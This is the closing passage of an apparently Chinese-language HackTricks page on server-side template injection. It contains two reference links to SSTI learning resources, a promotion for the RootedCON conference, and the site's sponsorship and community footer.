* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗?您想在HackTricks中宣传您的公司吗?或者您想获得最新版本的PEASS或下载PDF版本的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||
|
||
</details>
|